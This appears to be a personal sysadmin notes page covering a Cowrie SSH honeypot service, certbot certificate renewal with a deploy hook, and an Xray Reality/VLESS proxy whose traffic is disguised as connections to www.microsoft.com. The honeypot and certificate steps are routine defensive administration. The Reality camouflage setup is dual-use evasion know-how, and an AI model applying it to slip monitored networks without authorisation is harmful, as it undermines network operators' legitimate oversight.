Do not run Cowrie as root just to bind port 22. Keep Cowrie on a high port and forward traffic if needed.

systemd Unit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
[Unit]
Description=Cowrie SSH Honeypot
After=network.target

[Service]
User=cowrie
Group=cowrie
WorkingDirectory=/home/cowrie/cowrie
ExecStart=/home/cowrie/cowrie/cowrie-env/bin/python /home/cowrie/cowrie/src/cowrie/start.py --nodaemon
Restart=always
RestartSec=5

[Install]
WantedBy=multi-user.target

Enable it:

1
2
sudo systemctl daemon-reload
sudo systemctl enable --now cowrie

Logs

1
2
journalctl -u cowrie -e --no-pager
sudo -iu cowrie tail -f ~/cowrie/var/log/cowrie/cowrie.json

The JSON log is usually the most useful file for later analysis.

Firewall Or Port Forwarding

If Cowrie listens on 2222, a simple redirect can expose it as port 22:

1
2
3
4
5
6
table ip nat {
chain prerouting {
type nat hook prerouting priority dstnat;
tcp dport 22 redirect to :2222
}
}

Only do this if the real SSH service is moved somewhere else, such as 22222.

Notes

  • Do not reuse real hostnames, banners, usernames, or internal paths.
  • Logs can contain malicious payloads. Treat them as untrusted input.
  • Keep the honeypot isolated from important credentials and services.

SSL Certificate Renewal Notes

This note records a simple SSL certificate workflow with certbot: acquire, verify, renew, and deploy.

The example domain is api.example.com. Replace it with your own domain.

Acquire A Certificate

For a standalone HTTP-01 challenge, port 80 must be reachable and not occupied by another process:

1
sudo certbot certonly --standalone -d api.example.com

If Caddy or Nginx is already using port 80, stop it temporarily:

1
2
3
sudo systemctl stop caddy
sudo certbot certonly --standalone -d api.example.com
sudo systemctl start caddy

Check The Certificate

1
2
3
4
sudo certbot certificates
sudo openssl x509 \
-in /etc/letsencrypt/live/api.example.com/fullchain.pem \
-noout -dates

Enable Renewal

1
2
sudo systemctl enable --now certbot.timer
systemctl list-timers | grep certbot

Run a dry test:

1
sudo certbot renew --dry-run

Deploy Hook

Some services cannot read directly from /etc/letsencrypt/live/..., or they need certificate files copied into a service-owned directory.

Example hook for a service called myapp:

1
2
3
4
5
6
7
8
9
10
11
#!/usr/bin/env bash
set -euo pipefail

DOMAIN="api.example.com"
TARGET_DIR="/etc/myapp/cert"

install -d -m 0750 "$TARGET_DIR"
install -m 0644 "/etc/letsencrypt/live/$DOMAIN/fullchain.pem" "$TARGET_DIR/fullchain.pem"
install -m 0600 "/etc/letsencrypt/live/$DOMAIN/privkey.pem" "$TARGET_DIR/privkey.pem"

systemctl reload myapp

Install it as a deploy hook:

1
2
sudo install -m 0755 deploy-myapp-cert.sh \
/etc/letsencrypt/renewal-hooks/deploy/myapp.sh

Xray Reality / VLESS Setup

This note records a minimal Xray Reality / VLESS setup.

The example values are fake but shaped like real values, so the config is easier to read than a wall of placeholders.

Example environment:

  • server: vpn.example.com
  • listen port: 443
  • client UUID: 11111111-2222-4333-8444-555555555555
  • Reality private key: example_private_key_do_not_use
  • Reality public key: example_public_key_do_not_use
  • Reality short id: a1b2c3d4e5f60708
  • camouflage target: www.microsoft.com:443

Replace all of them.

Service Commands

Check the service:

1
2
sudo systemctl status xray
sudo journalctl -u xray -e --no-pager

After editing the config, test it before restart:

1
2
sudo xray run -test -config /usr/local/etc/xray/config.json
sudo systemctl restart xray

Generate IDs And Keys

1
2
3
xray uuid
xray x25519
openssl rand -hex 8

Keep the private key on the server. Put the public key in the client config.

Server Config Example

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
{
"inbounds": [
{
"listen": "0.0.0.0",
"port": 443,
"protocol": "vless",
"settings": {
"clients": [
{
"id": "11111111-2222-4333-8444-555555555555",
"flow": "xtls-rprx-vision"
}
],
"decryption": "none"
},
"streamSettings": {
"network": "tcp",
"security": "reality",
"realitySettings": {
"show": false,
"dest": "www.microsoft.com:443",
"xver": 0,
"serverNames": ["www.microsoft.com"],
"privateKey": "example_private_key_do_not_use",
"shortIds": ["a1b2c3d4e5f60708"]
}
}
}
],
"outbounds": [
{ "protocol": "freedom" }
]
}

Firewall

Only the public entry port needs to be open:

1
sudo nft add rule inet filter input tcp dport 443 accept

If SSH uses a custom port such as 22222, keep that rule separate and preferably source-restricted.

Client-Side Fields

A client profile usually needs:

1
2
3
4
5
6
7
8
address: vpn.example.com
port: 443
uuid: 11111111-2222-4333-8444-555555555555
flow: xtls-rprx-vision
security: reality
sni: www.microsoft.com
publicKey: example_public_key_do_not_use
shortId: a1b2c3d4e5f60708

Notes

  • privateKey, UUID, and short id are secrets. Do not publish real values.
  • Time sync matters. If the client and server clocks are too far apart, debugging becomes confusing.
  • Start with a direct connection first. Add extra reverse proxies only after the base config works.
+ + +
SYSTEM STATUS: ACTIVE ENCRYPTED SECTOR 7 PRTS_TERMINAL_V2.0 PROTOCOL: 0x2A ENCRYPTED DATA STREAM SYSTEM: ONLINE